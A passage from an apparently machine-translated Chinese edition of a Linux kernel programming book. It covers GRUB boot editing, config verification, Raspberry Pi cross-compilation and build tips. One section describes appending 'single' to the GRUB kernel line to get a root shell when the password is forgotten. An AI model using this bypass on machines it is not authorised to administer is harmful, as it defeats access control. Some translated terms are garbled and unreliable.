kernel fails to boot successfully? Well, you can always boot into a *recovery mode* Linux via a USB pen drive; a bit of googling regarding this will yield many links and video tutorials. - -## 通过 GNU GRUB 引导加载程序引导我们的虚拟机 - -现在,我们的来宾虚拟机(使用 *Oracle VirtualBox 虚拟机管理程序*)即将上线;一旦它的(模拟的)BIOS 例程完成,GNU GRUB 引导加载程序屏幕首先出现。这是因为我们有意将`GRUB_HIDDEN_TIMEOUT_QUIET` GRUB 配置指令更改为`false`的值。请参见下面的截图(图 3.3)。截图中看到的特殊样式是 Ubuntu 发行版如何定制的: - -![](img/9a8b91db-e737-4c3b-a497-41138280e0a4.png) - -Figure 3.3 – The GRUB2 bootloader – paused on system startup - -现在让我们直接启动我们的虚拟机: - -1. 按任意键盘键(除了*回车)*确保一旦超时(回想一下,我们设置为 3 秒)到期,默认内核不会启动。 -2. 如果还没有,滚动到`Advanced options for Ubuntu`菜单,高亮显示,按*回车。* -3. 现在,您将看到一个菜单,与下面的截图相似,但可能不完全相同(图 3.4)。对于 GRUB 检测到并可以引导到的每个内核,显示了两行——一行用于内核本身,一行用于同一内核的特殊恢复模式引导选项: - -![](img/b4d2a648-4e20-4ca2-ae63-a8e2caa71bc8.png) - -Figure 3.4 – The GRUB2 bootloader showing available kernels to boot from - -请注意,默认情况下将启动的内核(在我们的例子中是`5.0.0-36-generic`内核)在默认情况下是用星号(`*`)突出显示的。 - -The preceding screenshot shows a few "extra" line items. This is because, at the time of taking this screenshot, I had updated the VM and hence a few newer kernels were installed as well. We can spot the `5.0.0-37-generic` and `5.3.0-26-generic` kernels. No matter; we ignore them here. - -4. 不管是哪种情况,只需滚动到感兴趣的条目,即`5.4.0-llkd01`内核条目。这里,它是 GRUB 菜单的第一行(因为它是可引导操作系统 GRUB 菜单的最新添加):`Ubuntu, with Linux 5.4.0-llkd01`。 -5. 突出显示上述菜单项后,按*进入*,瞧!引导加载器将继续工作,将内核镜像和`initrd`镜像解压缩加载到 RAM 中,并跳转到 Linux 内核的入口点,从而将控制权移交给 Linux! - -没错,如果一切顺利,你将会启动全新的 5.4.0 Linux 内核!祝贺你出色地完成了任务。同样,您总是可以做得更多——下面的部分向您展示了如何在运行时(引导时)进一步编辑和定制 GRUB 的配置。同样,这个技能时不时会派上用场——比如*忘记了根密码?*确实可以,其实你可以用这个手法*绕过它*!请继续阅读,了解具体方法。 - -## 尝试 GRUB 提示符 - -你可以做进一步的实验;在`Ubuntu, with Linux 5.4.0-llkd01`内核的菜单条目中,不要仅仅按下*进入*,确保这一行高亮显示并按下`e`键(用于编辑)。我们现在将进入 GRUB 的*编辑屏幕*,在这里我们可以自由更改任何我们喜欢的值。下面是按下 *e* 键后的截图: - -![](img/1dc4a4b5-e6bb-4a2e-9ba8-e17968a7436b.png) - -Figure 3.5 – The GRUB2 bootloader – detail on the custom 5.4.0-llkd01 kernel - -截图是向下滚动几行后拍摄的;仔细看,您可以在编辑框底部第三行的开头找到光标(类似下划线的“ **`_`** ”)。这是至关重要的线;它以适当缩进的关键字`linux`开始。它指定了通过 GRUB 引导加载程序传递给 Linux 内核的*内核参数列表*。 - -试着在这里尝试一下。举个简单的例子,从这个条目中删除单词`quiet`和`splash`,然后按 *Ctrl* + *X* 或 *F10* 开机。这次,漂亮的 Ubuntu 闪屏没有出现;当所有内核消息闪过时,您直接在控制台中看到它们。 - -一个常见的问题:如果我们忘记了密码,因此无法登录,该怎么办?有几种方法可以解决这个问题。一种是通过 bootloader:像我们之前做的那样引导到 GRUB 菜单,进入相关的菜单项,按 *e* 编辑,向下滚动到以`linux`开头的行,在这个条目的末尾追加`single`这个词(或者只是数字`1`,这样看起来是这样的: - -```sh - linux /boot/vmlinuz-5.0.0-36-generic \ root=UUID=<...> ro quiet splash single -``` - -现在,当你启动时,内核启动到单用户模式,并给你,永远感激的用户,*一个带根访问的 Shell*。只需运行`passwd `命令即可更改您的密码。 - -The precise procedure to boot into single-user mode varies with the distro. Exactly what to edit in the GRUB2 menu is a bit different on Red Hat/Fedora/CentOS. See the *Further reading* section for a link on how to set it for these systems. - -这教会了我们一些关于*安全*的东西,不是吗?当在没有密码的情况下可以访问引导加载程序菜单(甚至是 BIOS)时,系统被认为是不安全的!事实上,在高度安全的环境中,即使是对控制台设备的物理访问也必须受到限制。 - -现在,您已经学会了如何定制 GRUB 引导加载程序,并且,我期望,已经引导到您的新鲜的 5.4 Linux 内核!我们不要只是假设;让我们验证内核确实按照我们的计划进行了配置。 - -# 验证我们新内核的配置 - -好了,回到我们的讨论:我们现在已经启动了新构建的内核。但是坚持住,让我们不要盲目地假设事情,让我们实际验证一切已经按照计划进行。*经验方法*总是最好的: - -```sh -$ uname -r -5.4.0-llkd01 -``` - -事实上,我们现在正在我们刚刚构建的 **5.4.0** Linux 内核上运行 Ubuntu 18.04.3 LTS! - -回想一下我们要编辑的内核配置表,来自[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*,在*表 2.4* 中。我们应该逐行检查我们更改的每个配置是否已经生效。让我们列出其中一些,从相关的`CONFIG_'FOO'`名称开始,如下所示: - -* `CONFIG_LOCALVERSION`:`uname -r`前面的输出清晰地显示了内核版本的`localversion`(或`-EXTRAVERSION`)部分已经被设置为我们想要的:`-llkd01`字符串。 -* `CONFIG_IKCONFIG`:让我们可以看到当前的内核配置细节。让我们检查一下。回想一下,您要将`LLKD_KSRC`环境变量设置到您的 5.4 内核源代码树目录的根位置: - -```sh -$ ${LLKD_KSRC}/scripts/extract-ikconfig /boot/vmlinuz-5.4.0-llkd01 -# -# Automatically generated file; DO NOT EDIT. -# Linux/x86 5.4.0 Kernel Configuration -[...] -CONFIG_IRQ_WORK=y -[...] -``` - -有效!我们可以通过`scripts/extract-ikconfig`脚本看到整个内核配置。我们将使用这个脚本来`grep(1)`我们在前面提到的*表 2.4* 中更改的配置指令的剩余部分: - -```sh -$ scripts/extract-ikconfig /boot/vmlinuz-5.4.0-llkd01 | egrep "IKCONFIG|HAMRADIO|PROFILING|VBOXGUEST|UIO|MSDOS_FS|SECURITY|DEBUG_STACK_USAGE" -CONFIG_IKCONFIG=y -CONFIG_IKCONFIG_PROC=y -# CONFIG_PROFILING is not set -# CONFIG_HAMRADIO is not set -CONFIG_UIO=m -# CONFIG_UIO_CIF is not set -CONFIG_UIO_PDRV_GENIRQ=m -# CONFIG_UIO_DMEM_GENIRQ is not set -[...] -CONFIG_VBOXGUEST=m -CONFIG_EXT4_FS_SECURITY=y -CONFIG_MSDOS_FS=m -# CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITY is not set -CONFIG_SECURITYFS=y -CONFIG_DEFAULT_SECURITY_DAC=y -CONFIG_DEBUG_STACK_USAGE=y -$ -``` - -仔细查看前面的输出,我们可以看到我们得到了我们想要的东西。我们新内核的配置设置与[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*、*表 2.4* 中预期的设置完全匹配;太好了。 - -或者,由于我们启用了`CONFIG_IKCONFIG_PROC`选项,我们可以通过(压缩的)`proc`文件系统条目`/proc/config.gz`查找内核配置来实现相同的验证,如下所示: - -```sh -gunzip -c /proc/config.gz | egrep \ "IKCONFIG|HAMRADIO|PROFILING|VBOXGUEST|UIO|MSDOS_FS|SECURITY|DEBUG_STACK_USAGE" -``` - -所以,内核构建完成了!太棒了。我敦促您参考第 2 章、*从源代码构建 5.x Linux 内核–第 1 部分*,在*从源代码构建内核的步骤*部分*、*再次查看整个过程的步骤的高级概述。我们用一个有趣的树莓 Pi 设备内核的*交叉编译*和一些剩余的提示来结束这一章。 - -# 树莓皮的内核构建 - -基于 ARM 的树莓 Pi 是一款受欢迎且相对便宜的**单板计算机** ( **SBC** )进行实验和原型制作。业余爱好者和修补者发现尝试和学习如何使用嵌入式 Linux 非常有用,尤其是因为它有强大的社区支持(有许多 T4 论坛)和良好的支持: - -![](img/f2a2d45c-8cb6-47c9-a4c7-d6a1cca4f57c.png) - -Figure 3.6 – A Raspberry Pi 3 Model B+ device (note that the USB-to-serial cable seen in the photo does not come with it) - -有两种方法可以为目标设备构建内核: - -* 在功能强大的主机系统上构建内核,通常是运行 Linux 发行版的英特尔/AMD x86_64(或 Mac)台式机或笔记本电脑。 -* 在目标设备本身上执行构建。 - -我们将遵循第一种方法——它要快得多,并且被认为是执行嵌入式 Linux 开发的正确方法。 - -我们将假设(像往常一样)我们正在运行我们的 Ubuntu 18.04 LTS 客户虚拟机。所以,好好想想;现在,主机系统实际上是来宾 Linux VM!此外,我们的目标是为 ARM 32 位架构构建内核,而不是 64 位。 - -Performing large downloads and kernel build operations on a guest VM isn't really ideal. Depending on the power and RAM of the host and guest, it will take a while. It could end up being twice as slow as building on a native Linux box. Nevertheless, assuming you have set aside sufficient disk space in the guest (and of course the host actually has this space available), this procedure works. - -我们将不得不使用 *x86_64 到 ARM (32 位)交叉编译器*为树莓 Pi 目标构建内核或任何组件。这意味着安装一个合适的**交叉工具链**来执行构建。 - -在接下来的几节中,我们将工作分为三个独立的步骤: - -1. 为我们自己获取一个适合设备的内核源代码树 -2. 学习如何安装合适的交叉工具链 -3. 配置和构建内核 - -让我们开始吧! - -## 步骤 1–克隆内核源树 - -我们为内核源代码树和跨工具链任意选择一个*暂存文件夹*(构建发生的地方),并将其分配给一个环境变量(以免硬编码): - -1. 设置您的工作区。我们将一个环境变量设置为`RPI_STG`(不要求环境变量使用完全相同的名称;只需选择一个听起来合理的名字并坚持使用)到暂存文件夹的位置——我们将执行工作的地方。请随意使用适合您系统的值: - -```sh -export RPI_STG=~/rpi_work -mkdir -p ${RPI_STG}/kernel_rpi ${RPI_STG}/rpi_tools -``` - -Do ensure you have sufficient disk space available: the kernel source tree takes approximately 900 MB, and the toolchain around 1.5 GB. You'll require at least another gigabyte for working space. - -2. 下载树莓皮内核源码树(我们从官方源码,树莓皮内核树 GitHub 资源库克隆而来,这里:[https://github.com/raspberrypi/linux/](https://github.com/raspberrypi/linux/)): - -```sh -cd ${RPI_STG}/kernel_rpi -git clone --depth=1 --branch rpi-5.4.y https://github.com/raspberrypi/linux.git -``` - -内核源树被克隆到名为`linux/`的目录下(即`${RPI_WORK}/kernel_rpi/linux`下)。请注意,在前面的代码中,我们有以下内容: - -* 我们选择的特定树莓皮内核树分支是*而不是*最新的一个(在撰写本文时,最新的是 5.11 系列),它是 5.4 内核;这完全没问题(这是一个 LTS 内核,也匹配我们的 x86 内核!). -* 我们将设置为`1`的`--depth`参数传递给`git clone`,以减少下载和解压缩负载。 - -现在安装了树莓 Pi 内核源码。让我们简单验证一下: - -```sh -$ cd ${RPI_STG}/kernel_rpi/linux ; head -n5 Makefile -# SPDX-License-Identifier: GPL-2.0 -VERSION = 5 -PATCHLEVEL = 4 -SUBLEVEL = 51 -EXTRAVERSION = -``` - -好了,是 5.4.51 树莓 Pi 内核端口(我们在 x86_64 上使用的内核版本是 5.4.0 版本;轻微的变化是可以的)。 - -## 步骤 2–安装交叉工具链 - -现在是时候在您的主机系统上安装一个*跨工具链*了,它适合执行实际的构建。问题是,有几个可用的工作工具链...在这里,我将展示获取和安装工具链的两种方法。第一种方法最简单,通常也足够了,而第二种方法安装了更复杂的版本。 - -### 第一种方法-通过 apt 打包安装 - -这真的很简单,效果很好;一定要经常使用这种方法: - -```sh -sudo apt install ​crossbuild-essential-armhf -``` - -工具通常安装在`/usr/bin/`下,因此已经是`PATH`的一部分;你可以简单地使用它们。例如,查看 ARM-32 `gcc`编译器的位置和版本如下: - -```sh -$ which arm-linux-gnueabihf-gcc -/usr/bin/arm-linux-gnueabihf-gcc -$ arm-linux-gnueabihf-gcc --version |head -n1 -arm-linux-gnueabihf-gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 -``` - -另外,一定要记住:这个工具链适合于为 ARM 32 位架构构建内核,而不是 64 位架构。如果这是你的意图(为 64 位构建,我们在这里不涉及),你将需要安装一个带有`sudo apt install ​crossbuild-essential-arm64`的 x86_64 到 ARM64 工具链。 - -### 第二种方法——通过源回购进行安装 - -这是一种更精细的方法。在这里,我们从树莓皮的 GitHub 报告中克隆工具链: - -1. 下载工具链。让我们把它放在树莓皮暂存目录中名为`rpi_tools`的文件夹下: - -```sh -cd ${RPI_STG}/rpi_tools -git clone https://github.com/raspberrypi/tools -``` - -2. 更新`PATH`环境变量,使其包含工具链二进制文件: - -```sh -export PATH=${PATH}:${RPI_STG}/rpi_tools/tools/arm-bcm2708/arm-linux-gnueabihf/bin/ - -``` - -Setting the `PATH` environment variable (as shown in the preceding code) is required. However, it's only valid for the current shell session. Make it permanent by putting the preceding line into a startup script (typically your `${HOME}/.bashrc` file or equivalent). - -如前所述,也可以使用替代工具链。例如,在 ARM 开发者网站[https://developer . ARM . com/tools-and-software/open-source-software/developer-tools/GNU-tool chain/GNU-A/downloads](https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-a/downloads)上可以找到几个用于 ARM 开发的工具链(用于 A-profile 处理器)。 - -## 步骤 3–配置和构建内核 - -让我们配置内核(针对树莓 Pi 2、Pi 3 和 Pi 3[B]+)。在我们开始之前,记住以下几点非常重要: - -* **`ARCH`** 环境变量设置为软件交叉编译的 CPU(架构)(即编译后的代码将在该 CPU 上运行)。将`ARCH`设置为的值是内核源代码树中`arch/`目录下的目录名。例如,将 ARM32 的`ARCH`设置为`arm`,ARM64 的`arm64`,PowerPC 的`powerpc`,OpenRISC 处理器的`openrisc`。 -* **`CROSS_COMPILE`** 环境变量设置为交叉编译器(toolchain)前缀。本质上,它是工具链中每个实用程序前面的前几个常见字母。在我们下面的例子中,所有的工具链实用程序(C 编译器`gcc`、链接器、C++、`objdump`等等)都以`arm-linux-gnueabihf-`开头,所以这就是我们设置的`CROSS_COMPILE`。`Makefile`将始终调用实用程序作为`${CROSS_COMPILE}`,因此调用正确的工具链可执行文件。这确实意味着 toolchain 目录应该在`PATH`变量中(正如我们在前面部分提到的)。 - -好,让我们构建内核: - -```sh -cd ${RPI_STG}/kernel_rpi/linux -make mrproper -KERNEL=kernel7 -make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- bcm2709_defconfig -``` - -关于配置目标的快速解释,`bcm2709_defconfig`:这个要点在[第二章](02.html)*从源代码构建 5.x Linux 内核–第 1 部分*中提到过。我们必须确保使用一个合适的特定于主板的内核配置文件作为起点。这里,这是树莓 Pi 2、Pi 3、Pi 3+和计算模块 3 设备上 Broadcom SoC 的正确内核配置文件。指定的`bcm2709_defconfig`配置目标导致解析`arch/arm/configs/bcm2709_defconfig`文件的内容。(树莓 Pi 网站将此记录为树莓 Pi 2、Pi 3、Pi 3+和计算模块 3 默认构建配置的`bcm2709_defconfig`。重要提示:如果您正在为另一种类型的树莓 Pi 设备构建内核,请参见[https://www . raspberrypi . org/documentation/Linux/kernel/building . MD](https://www.raspberrypi.org/documentation/linux/kernel/building.md)。) - -仅供参考,`kernel7`值如此,是因为处理器基于 ARMv7(实际上,从树莓 Pi 3 开始,SoC 是 64 位 ARMv8,兼容在 32 位 ARMv7 模式下运行;这里,当我们为 ARM32 (AArch32)构建 32 位内核时,我们指定`KERNEL=kernel7`。 - -The variety of SoCs, their packaging, and their resulting naming creates a good deal of confusion; this link might help: [https://raspberrypi.stackexchange.com/questions/840/why-is-the-cpu-sometimes-referred-to-as-bcm2708-sometimes-bcm2835](https://raspberrypi.stackexchange.com/questions/840/why-is-the-cpu-sometimes-referred-to-as-bcm2708-sometimes-bcm2835). - -如果需要对内核配置进行任何进一步的定制,您可以使用以下内容: - -```sh -make ARCH=arm menuconfig -``` - -如果没有,跳过这一步继续。使用以下内容构建(交叉编译)内核、内核模块和 DTB: - -```sh -make -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs -``` - -(根据您的构建主机适当调整`-jn`)。一旦构建成功完成,我们可以看到已经生成了以下文件: - -```sh -$ ls -lh vmlinux System.map arch/arm/boot/zImage --rwxrwxr-x 1 llkd llkd 5.3M Jul 23 12:58 arch/arm/boot/zImage --rw-rw-r-- 1 llkd llkd 2.5M Jul 23 12:58 System.map --rwxrwxr-x 1 llkd llkd 16M Jul 23 12:58 vmlinux -$ -``` - -在这里,我们的目的只是展示一个 Linux 内核如何被配置和构建为一个架构,而不是编译它的主机系统,或者换句话说,交叉编译。关于将内核映像(和 DTB 文件)放在 microSD 卡上的血淋淋的细节就不再赘述了。我建议您参考树莓皮内核构建的完整文档,可以在这里找到:[https://www . raspberrypi . org/documents/Linux/kernel/building . MD](https://www.raspberrypi.org/documentation/linux/kernel/building.md)。 - -然而,这里有一个在树莓皮 3[B+]上尝试你的新内核的快速提示: - -1. 安装 microSD 卡。它通常会有一个 Raspbian 发行版和两个分区`boot`和`rootfs`,分别对应于`mmcblk0p1`和`mmcblk0p2`分区。 - -2. **引导加载程序和相关二进制文件**:关键是要把低级启动二进制文件,包括引导加载程序本身,放到 SD 卡的引导分区上;这包括`bootcode.bin`(实际的引导加载程序)、`fixup*.dat`和`start*.elf`二进制文件;`/boot`文件夹的内容解释如下:[https://www . raspberrypi . org/documentation/configuration/boot _ folder . MD](https://www.raspberrypi.org/documentation/configuration/boot_folder.md)。(如果你不确定如何获得这些二进制文件,简单地在 SD 卡上安装一个树莓 Pi OS 的股票版本可能是最简单的;这些二进制文件将被安装在其引导分区中。股票树莓 Pi OS 图片可从[https://www.raspberrypi.org/downloads/](https://www.raspberrypi.org/downloads/)获得;此外,仅供参考,更新的树莓皮成像仪应用(适用于 Windows、macOS、Linux)使首次安装变得非常容易。 -3. 如果存在的话,备份然后用我们刚刚建立的`zImage`文件替换 microSD 卡上`/boot`分区内的`kernel7.img`文件,命名为`kernel7.img`。 - -4. 安装刚刚构建的内核模块;确保您使用`INSTALL_MOD_PATH`环境变量将该位置指定为 microSD 卡的根文件系统!(做不到这一点意味着它可能会覆盖您主机的模块,这将是灾难性的!)在这里,我们假设 microSD 卡的第二个分区(包含根文件系统)安装在`/media/${USER}/rootfs`下;然后,执行以下操作(全部在一行中): - -```sh -sudo env PATH=$PATH make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- INSTALL_MOD_PATH=/media/${USER}/rootfs modules_install -``` - -5. 安装我们刚刚在 SD 卡上生成的数字地面广播(和覆盖图): - -```sh -sudo cp arch/arm/boot/dts/*.dtb /media/${USER}/boot -sudo cp arch/arm/boot/dts/overlays/*.dtb* arch/arm/boot/dts/overlays/README /media/${USER}/boot/overlays -sync -``` - -6. 卸下 SD 卡,重新插入设备,然后试用。 - -Again, to ensure it works, please refer to the official documentation (available at [https://www.raspberrypi.org/documentation/linux/kernel/building.md](https://www.raspberrypi.org/documentation/linux/kernel/building.md)). We have not covered the details regarding the generation and copying of kernel modules and DTBs to the microSD card. - -Also, FYI, we again discuss kernel configuration and build for the Raspberry Pi in [Chapter 11](11.html), *The CPU Scheduler – Part 2*. - -这就完成了我们对树莓皮的内核交叉编译实验的简短介绍。我们将用一些杂七杂八但仍然有用的提示来结束这一章。 - -# 内核构建的其他技巧 - -我们用一些技巧完成了从源代码构建 Linux 内核的这一章。以下每个小节都概括了一个提示,供您注意。 - -对于不熟悉这一点的人来说,这通常是一个困惑点:一旦我们配置、构建并从一个新的 Linux 内核启动,我们注意到根文件系统和任何其他装载的文件系统仍然与原始(发行版或定制)系统上的相同。只有内核本身发生了变化。这完全是有意的,因为 Unix 的范例是在内核和根文件系统之间有一个松散的耦合。因为它是保存所有应用、系统工具和实用程序(包括库)的根文件系统,所以实际上,我们可以有几个内核,以适应同一基础系统的不同产品风格。 - -## 最低版本要求 - -为了成功构建内核,您必须确保您的构建系统拥有工具链(以及其他各种工具和实用程序)的各种软件的文档化*最低*版本。这些信息显然包含在*编译内核的最低要求*部分的内核文档中,可在[T5](https://github.com/torvalds/linux/blob/master/Documentation/process/changes.rst#minimal-requirements-to-compile-the-kernel)[https://github . com/Torvalds/Linux/blob/master/Documentation/process/changes . rst #编译内核的最低要求](https://github.com/torvalds/linux/blob/master/Documentation/process/changes.rst#minimal-requirements-to-compile-the-kernel)中找到。 - -比如截止到撰写本文时,`gcc`的推荐最低版本为 4.9,`make`的推荐最低版本为 3.81。 - -## 为另一个站点构建内核 - -在本书的内核构建演练中,我们在某个系统上构建了一个 Linux 内核(在这里,它是一个 x86_64 客户机),并从同一个系统启动了新构建的内核。如果情况不是这样呢,就像在为另一个站点或客户场所构建内核时经常发生的那样?虽然总是可以在远程系统上手动将各个部分放置到位,但有一种更简单、更正确的方法——将内核和与之捆绑的相关元工作(即`initrd`映像、内核模块集合、内核头等)构建成众所周知的**包格式** (Debian 的`deb`、Red Hat 的`rpm`等等)!内核顶层`Makefile`上的快速`help`命令揭示了这些包目标: - -```sh -$ make help -[ ... ] -Kernel packaging: - rpm-pkg - Build both source and binary RPM kernel packages - binrpm-pkg - Build only the binary kernel RPM package - deb-pkg - Build both source and binary deb kernel packages - bindeb-pkg - Build only the binary kernel deb package - snap-pkg - Build only the binary kernel snap package (will connect to external hosts) - tar-pkg - Build the kernel as an uncompressed tarball - targz-pkg - Build the kernel as a gzip compressed tarball - tarbz2-pkg - Build the kernel as a bzip2 compressed tarball - tarxz-pkg - Build the kernel as a xz compressed tarball -[ ... ] -``` - -例如,要将内核及其相关文件构建为 Debian 包,只需执行以下操作: - -```sh -$ make -j8 bindeb-pkg -scripts/kconfig/conf --syncconfig Kconfig -sh ./scripts/package/mkdebian -dpkg-buildpackage -r"fakeroot -u" -a$(cat debian/arch) -b -nc -uc -dpkg-buildpackage: info: source package linux-5.4.0-min1 -dpkg-buildpackage: info: source version 5.4.0-min1-1 -dpkg-buildpackage: info: source distribution bionic -[ ... ] -``` - -实际的包被写入内核源目录正上方的目录。例如,从我们刚刚运行的命令中,以下是生成的`deb`包: - -```sh -$ ls -l ../*.deb --rw-r--r-- 1 kaiwan kaiwan 11106860 Feb 19 17:05 ../linux-headers-5.4.0-min1_5.4.0-min1-1_amd64.deb --rw-r--r-- 1 kaiwan kaiwan 8206880 Feb 19 17:05 ../linux-image-5.4.0-min1_5.4.0-min1-1_amd64.deb --rw-r--r-- 1 kaiwan kaiwan 1066996 Feb 19 17:05 ../linux-libc-dev_5.4.0-min1-1_amd64.deb -``` - -这确实很方便!现在,你可以用一个简单的`dpkg -i `命令在任何其他匹配的(就 CPU 和 Linux 风格而言)系统上安装软件包。 - -## 观看内核构建运行 - -要在内核构建运行时查看详细信息(编译器标志等),请将 **`V=1`** 详细选项切换到`make(1)`。以下是构建树莓 Pi 3 内核时的一点示例输出,详细开关设置为上的*:* - -```sh -$ make V=1 ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules dtbs -[...] -make -f ./scripts/Makefile.build obj=kernel/sched -arm-linux-gnueabihf-gcc -Wp,-MD,kernel/sched/.core.o.d - -nostdinc - -isystem <...>/gcc-linaro-7.3.1-2018.05-x86_64_arm-linux-gnueabihf/bin/../lib/gcc/arm-linux-gnueabihf/7.3.1/include - -I./arch/arm/include -I./arch/arm/include/generated/uapi - -I./arch/arm/include/generated -I./include - -I./arch/arm/include/uapi -I./include/uapi - -I./include/generated/uapi -include ./include/linux/kconfig.h - -D__KERNEL__ -mlittle-endian -Wall -Wundef -Wstrict-prototypes - -Wno-trigraphs -fno-strict-aliasing -fno-common - -Werror-implicit-function-declaration -Wno-format-security - -std=gnu89 -fno-PIE -fno-dwarf2-cfi-asm -fno-omit-frame-pointer - -mapcs -mno-sched-prolog -fno-ipa-sra -mabi=aapcs-linux - -mno-thumb-interwork -mfpu=vfp -funwind-tables -marm - -D__LINUX_ARM_ARCH__=7 -march=armv7-a -msoft-float -Uarm - -fno-delete-null-pointer-checks -Wno-frame-address - -Wno-format-truncation -Wno-format-overflow - -Wno-int-in-bool-context -O2 --param=allow-store-data-races=0 - -DCC_HAVE_ASM_GOTO -Wframe-larger-than=1024 -fno-stack-protector - -Wno-unused-but-set-variable -Wno-unused-const-variable - -fno-omit-frame-pointer -fno-optimize-sibling-calls - -fno-var-tracking-assignments -pg -Wdeclaration-after-statement - -Wno-pointer-sign -fno-strict-overflow -fno-stack-check - -fconserve-stack -Werror=implicit-int -Werror=strict-prototypes - -Werror=date-time -Werror=incompatible-pointer-types - -fno-omit-frame-pointer -DKBUILD_BASENAME='"core"' - -DKBUILD_MODNAME='"core"' -c -o kernel/sched/.tmp_core.o - kernel/sched/core.c -[...] -``` - -请注意,我们通过插入新的行并突出显示一些开关,使前面的输出更加人性化。这种详细程度有助于调试构建失败的情况。 - -## 生成过程的快捷 shell 语法 - -构建过程的快捷 shell(通常是 Bash)语法(假设内核配置步骤已经完成)可能类似于下面的示例,可能用于非交互式构建脚本中: - -```sh -time make -j4 [ARCH=<...> CROSS_COMPILE=<...>] all && sudo make modules_install && sudo make install -``` - -在前面的代码中, **`&&`** 和 **`||`** 元素是 shell 的(Bash 的)便利条件列表语法: - -* `cmd1 && cmd2`表示:只有`cmd1`成功,才能运行`cmd2`。 -* `cmd1 || cmd2`表示:仅当`cmd1`失败时运行`cmd2`。 - -## 处理编译器切换问题 - -不久前,即 2016 年 10 月,当我试图为 x86_64 构建(较旧的 3.x)内核时,我遇到了以下错误: - -```sh -$ make -[...] -CC scripts/mod/empty.o -scripts/mod/empty.c:1:0: error: code model kernel does not support PIC mode -/* empty file to figure out endianness / word size */ -[...] -``` - -事实证明,这根本不是一个核心问题。相反,这是 Ubuntu 16.10 上的编译器切换问题:`gcc(1)`坚持默认使用`-fPIE`(其中 **PIE** 是**位置独立可执行文件**的缩写)标志。在旧内核的 Makefile 中,我们需要关闭它。从那以后就修好了。 - -*AskUbuntu* 网站上的这个问答,题目是*内核不支持 pic 模式编译?,*描述了如何做到这一点:[https://askubuntu . com/questions/851433/kernel-nots-support-pic-mode-for-compile](https://askubuntu.com/questions/851433/kernel-doesnt-support-pic-mode-for-compiling)。 - -(有趣的是,在前面的*关注内核构建运行*部分,用最近的一个内核,注意构建是如何使用 **`-fno-PIE`** 编译器开关的。) - -## 处理缺少的 OpenSSL 开发头 - -在一个实例中,Ubuntu 盒子上 x86_64 上的内核构建失败,出现以下错误: - -```sh -[...] fatal error: openssl/opensslv.h: No such file or directory -``` - -这只是缺少 OpenSSL 开发头的一个例子;这一点在这里的*编译内核*文档的最低要求中有明确的提及:[https://github . com/Torvalds/Linux/blob/master/Documentation/process/changes . rst # OpenSSL](https://github.com/torvalds/linux/blob/master/Documentation/process/changes.rst#openssl)。具体来说,它提到从 v4.3 及更高版本开始,需要`openssl`开发包。 - -仅供参考,本问答也展示了`openssl-devel`包的安装(或同等产品;例如,在树莓 Pi 上,`libssl-dev`包需要安装)解决了这个问题: *OpenSSL 在期间丢失。/configure。怎么修?*,可在[https://超级用户. com/questions/371901/OpenSSL-配置过程中丢失-如何修复](https://superuser.com/questions/371901/openssl-missing-during-configure-how-to-fix)。 - -事实上,这个错误也发生在普通的 x86_64 *Fedora 29* 发行版上: - -```sh -make -j4 -[...] -HOSTCC scripts/sign-file -scripts/sign-file.c:25:10: fatal error: openssl/opensslv.h: No such file or directory - #include - ^~~~~~~~~~~~~~~~~~~~ -compilation terminated. -make[1]: *** [scripts/Makefile.host:90: scripts/sign-file] Error 1 -make[1]: *** Waiting for unfinished jobs.... -make: *** [Makefile:1067: scripts] Error 2 -make: *** Waiting for unfinished jobs.... -``` - -此处的修复如下: - -```sh -sudo dnf install openssl-devel-1:1.1.1-3.fc29 -``` - -最后,记住一个几乎可以保证成功的方法:当你遇到那些你*无法修复的构建和/或启动错误时*:将准确的错误信息复制到剪贴板,进入谷歌(或另一个搜索引擎),然后键入类似于`linux kernel build fails with `的内容。你可能会对这种帮助的频率感到惊讶。如果没有,努力做你的研究,如果你真的找不到任何相关的/正确的答案,一定要在一个合适的论坛上发表你的(深思熟虑的)问题。 - -Several Linux "builder" projects exist, which are elaborate frameworks for building a Linux system or distribution in its entirety (typically used for embedded Linux projects). As of the time of writing, ***Yocto*** ([https://www.yoctoproject.org/](https://www.yoctoproject.org/)) is considered the industry standard Linux-builder project, with ***Buildroot*** ([https://buildroot.org/](https://buildroot.org/)) being an older but very much supported one; they are indeed well worth checking out. - -# 摘要 - -这一章和前一章一样,详细介绍了如何从源代码构建 Linux 内核。我们从实际的内核(和内核模块)构建过程开始。构建完成后,我们展示了如何将内核模块安装到系统上。然后,我们继续讨论生成`initramfs`(或`initrd`)图像的实用性,并继续解释其背后的动机。内核构建的最后一步是引导加载程序的(简单)定制(这里,我们只关注 x86 GRUB)。然后,我们展示了如何通过新烘焙的内核引导系统,并验证其配置是否如我们所料。作为一个有用的附加组件,我们展示了如何为另一个处理器交叉编译 Linux 内核的基础知识。最后,我们分享了一些额外的技巧来帮助您构建内核。 - -同样,如果您还没有这样做,我们敦促您仔细检查并尝试这里提到的过程,并构建您自己的定制 Linux 内核。 - -因此,祝贺您从头开始完成 Linux 内核构建!您可能会发现,在实际的项目(或产品)中,您可能需要*而不是*实际执行内核构建过程中的每一步,正如我们努力尝试仔细展示的那样。为什么呢?一个原因是可能会有一个独立的 BSP 团队从事这方面的工作;另一个原因——越来越有可能,尤其是在嵌入式 Linux 项目上——是使用了一个 Linux 构建器框架,如 *Yocto* (或 *Buildroot* )。Yocto 通常会处理构建的机械方面。*不过*你能够*按照项目要求配置*内核真的很重要;这仍然需要在这里获得的知识和理解。 - -接下来的两章将带你进入 Linux 内核开发的世界,向你展示如何编写你的第一个内核模块。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ 